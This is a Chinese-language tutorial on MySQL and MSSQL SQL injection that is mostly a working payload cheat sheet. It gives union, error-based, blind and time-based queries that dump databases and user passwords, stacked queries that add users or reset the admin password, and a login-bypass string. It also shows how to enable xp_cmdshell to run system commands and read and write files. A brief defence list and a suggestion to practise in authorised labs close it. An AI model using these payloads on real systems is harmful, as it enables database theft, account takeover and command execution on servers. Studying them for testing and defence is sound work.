MYSQL+MSSQL注入理解
字数 3753 2025-08-19 12:42:30
MySQL与MSSQL注入技术详解
一、MySQL注入技术
1. 联合注入(Union Injection)
原理:通过UNION关键字将恶意SQL语句与原始查询合并执行
步骤:
-
判断注入点:
- 数字型:
id=1 and 1=1(正常) vsid=1 and 1=2(异常) - 字符型:构造闭合
' -- s并测试and 1=1与and 1=2
- 数字型:
-
判断字段数量:
order by n递增测试直到报错
-
确定回显位置:
union select 1,2,3...观察哪些数字显示在页面上
-
爆数据:
- 基本信息:
user(),database(),version() - 爆库:
union select 1,2,group_concat(schema_name) from information_schema.schemata - 爆表:
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() - 爆字段:
union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users" - 爆数据:
union select 1,group_concat(username),group_concat(password) from users
- 基本信息:
2. 报错注入(Error-based Injection)
适用场景:后台未处理数据库报错信息,将错误返回前台
常用函数:
extractvalue()updatexml()floor()
示例:
- 获取数据库:
or extractvalue('1',concat("~~",(database()))) -- s - 获取表:
or extractvalue('1',concat("~~",(select group_concat(table_name) from information_schema.tables where table_schema=database()))) -- s - 获取字段:
or extractvalue('1',concat("~~",(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"))) -- s
3. 盲注(Blind Injection)
布尔盲注
原理:通过页面返回的真/假状态判断信息
常用函数:
length():判断长度substr():截取字符ascii():获取ASCII码if():条件判断
步骤:
- 判断数据库长度:
and length(database())>n - 逐字符判断库名:
and ascii(substr(database(),1,1))=x - 判断表数量及名称
- 判断字段及数据
时间盲注
原理:通过响应延迟判断条件真假
关键函数:sleep(), if()
示例:
and if(ascii(substr(database(),1,1))=115,sleep(5),1)
4. 宽字节注入
原理:利用GBK编码特性吃掉转义符(\)
步骤:
- 构造宽字节:
%df'→ 与转义符\(%5c)组合成汉字 - 后续步骤同普通注入
5. 二次注入
原理:
- 首次插入恶意数据(如
admin' -- s) - 后端转义存储为
admin\' -- s - 数据库存储时去除转义符恢复为
admin' -- s - 二次调用时执行恶意SQL
6. 堆叠注入(Stacked Queries)
原理:利用分号执行多条SQL语句
示例:
1';insert into users values(666,'zgao','zgao') --+1';update users set password='123456' where username='admin' -- s
7. POST注入
特点:注入点位于POST请求中,方法与GET注入类似
万能密码:xxx' or 1=1 #
二、MSSQL注入技术
1. 基本知识
系统表:
master..sysdatabases:所有数据库sysobjects:当前数据库所有对象(xtype='U'为用户表)syscolumns:当前数据库所有列
常用函数:
db_name():当前数据库名@@version:版本信息host_name():主机名is_srvrolemember('sysadmin'):判断服务器角色is_member('db_owner'):判断数据库角色
2. 联合注入
步骤:
- 判断注入点:
and 1=1vsand 1=2 - 判断字段数:
order by n - 联合查询:
union select 1,2,3 - 爆数据:
- 库名:
union select 1,db_name(),@@version - 表名:
union select 1,2,name from 库名..sysobjects where xtype='U' - 列名:
union select 1,2,col_name(object_id('users'),1) from sysobjects
- 库名:
3. 报错注入
常用函数:
convert()cast()db_name()file_name()
示例:
and 1=convert(int,@@version)and 1=convert(int,(select top 1 name from 库名.sys.sysobjects where xtype='U'))
4. 盲注
布尔盲注
and len((select db_name()))=4and ascii(substring((select db_name()),1,1))=78
时间盲注
WAITFOR DELAY '0:0:5'if (ascii(substring((select db_name()),1,1))=78) WAITFOR DELAY '0:0:4'
5. 进阶技术
判断站库分离:
and ((select host_name()) = (select @@SERVERNAME))
XP_CMDSHELL使用:
- 判断是否开启:
and (select count(*) from master..sysobjects where xtype='x' and name='xp_cmdshel') - 开启命令:
EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; - 执行系统命令:
exec xp_cmdshell 'whoami'
文件操作:
- 写入文件:
exec xp_cmdshell 'whoami > C:/temp.txt' - 读取文件:
create table temp(res varchar(8000)); bulk insert master.dbo.temp from 'C:/temp.txt'; select * from master.dbo.temp; drop table temp;
三、防御措施
- 严格过滤用户输入
- 使用参数化查询(预编译语句)
- 最小权限原则
- 关闭错误回显
- 使用WAF
- 定期代码审计与更新
四、关键区别
| 特性 | MySQL | MSSQL |
|---|---|---|
| 系统表 | information_schema | sysobjects, syscolumns |
| 注释符 | #, -- , /* */ |
--, /* */ |
| 连接字符串 | concat() |
+ |
| 延时函数 | sleep() |
WAITFOR DELAY |
| 系统命令 | 需特定条件 | xp_cmdshell |
| 默认数据库 | information_schema | master |
掌握这些技术需要结合实战练习,建议在合法授权环境下使用DVWA、SQLi-Labs等平台进行测试。